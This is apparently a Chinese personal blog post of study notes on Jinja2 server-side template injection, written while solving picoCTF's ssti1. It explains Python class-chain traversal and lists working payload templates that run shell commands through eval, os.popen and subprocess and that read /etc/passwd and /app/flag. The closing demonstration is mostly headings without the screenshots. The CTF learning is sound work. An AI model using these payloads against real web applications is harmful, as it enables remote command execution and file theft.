SSTI注入学习

之前比赛遇到SSTI,是大概了解原理的,但是没怎么去系统学习过,现在开始刷picoctf的题,遇到了入门的ssti,那就正好趁这次机会学习一下,学习资源取自:SSTI注入 - Hello CTF

SSTI也叫模板注入,就是我们给服务器传递一个数据A,服务器把数据A渲染到页面里去,至于为什么会出现漏洞,是因为可以传给服务器一个表达式,如{{7*7}},服务器就会执行,然后把49输出到页面里去,那这个表达式换成执行命令,读取文件,就是我们需要去做的,当然SSTI不止Jinja2一种,不过大多数遇到的是Jinja,所以这里也通过Jinjia学习

前置知识

是的,看到这个图里面的wp,给当时第一次接触的小小老子一个很大的震惊,这都啥玩意,这玩意怎么弄出来的?更别说那种通过特定方式,比如字符串截取什么的绕过过滤的,当时就是一整个蒙蔽,看不懂。这里我就直接用hello-ctf里的东西了,本人技艺拙劣,就不写代码什么的了。

1
2
3
4
5
6
7
8
9
10
class O: pass # O 是基类,A、B、F、G 都直接或间接继承于它
# 继承关系 A -> B -> O
class B(O): pass
class A(B): pass

# F 类继承自 O,拥有读取文件的方法
class F(O): def read_file(self, file_name): pass

# G 类继承自 O,拥有执行系统命令的方法
class G(O): def exec(self, command): pass

首先看这里,我们都能明白,假如我们现在有一个对象A,那我们要读取文件或者执行命令,是不是就是想办法转到F或者G,那如何转到F或者G?

就有了以下这些方法

1
2
3
4
5
6
7
8
9
10
>>>print(A.__class__) # 使用 __class__ 查看类属性
<class '__main__.A'>
>>> print(A.__class__.__base__) # 使用 __base__ 查看父类
<class '__main__.B'>
>>> print(A.__class__.__base__.__base__)# 查看父类的父类 (如果继承链足够长,就需要多个base)
<class '__main__.O'>
>>>print(A.__class__.__mro__) # 直接使用 __mro__ 查看类继承关系顺序
(<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>)
>>>print(A.__class__.__base__.__base__.__subclasses__()) # 查看祖先下面所有的子类(这里假定祖先为O)
[<class '__main__.B'>, <class '__main__.F'>, <class '__main__.G'>]

然后要知道python中所有的对象,都继承自基类Object

这也是为什么通常wp中别人的payload大部分是'',{},[]开头了

1
2
3
4
5
# 更多魔术方法可以在 SSTI 备忘录部分查看
__class__ 类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

通过这些魔术方法就可以去找到基类,拿到基类之后就是去寻找子类,那拿什么子类,自然是可以让我们读取文件或者执行命令的子类

这里解释一下常用的魔术方法

1
2
3
__init__             初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.

然后在使用eval的时候要注意,eval是一个内置函数,所以无法通过__globals__['eval']来直接调用,在函数内部访问内置函数如eval,或内置对象如os,需要通过__builtins__来访问

{{().__class__.__base__.__subclasses__()[194].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

以下是常见命令执行构造模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# eval 
x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')

# os.py
x[NUM].__init__.__globals__['os'].popen('ls /').read()

# popen
x[NUM].__init__.__globals__['popen']('ls /').read()

# _frozen_importlib.BuiltinImporter
x[NUM]["load_module"]("os")["popen"]("ls /").read()

# linecache
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()

# subprocess.Popen
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()

以下是文件读取类

由于python2中的file类在python3中去掉了,所以只有fileloader算真正意义上的原生文件读取

1
2
3
4
5
6
7
8
9
10
11
12
[].__class__.__bases__[0].__subclasses__()[NUM]["get_data"](0,"/etc/passwd")
- codecs模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('codecs').open('/app/flag').read()")

- pathlib模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('pathlib').Path('/app/flag').read_text()")

- io模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('io').open('/app/flag').read()")

- open函数
x[NUM].__init__.__globals__['__builtins__'].eval("open('/app/flag').read()")

实际演示

这里就用pico的ssti1来实际手动演示一下,首先拿到基类,然后列出所有子类

这个时候这么多烟花缭乱的,我们咋知道那个可以拿着去执行命令?当然积累了经验的可以直接去搜对应的,没经验的可以通过自动payload找,或者直接给ai分析


还有一种办法是模板语法:

模板语法示例如下:

这里我们用脚本找一下:

然后发现eval

然后使用内置函数

然后就是读取flag了


SSTI注入学习
https://rightevil.github.io/SSTI注入学习/
作者
rightevil
发布于
2026年3月18日
许可协议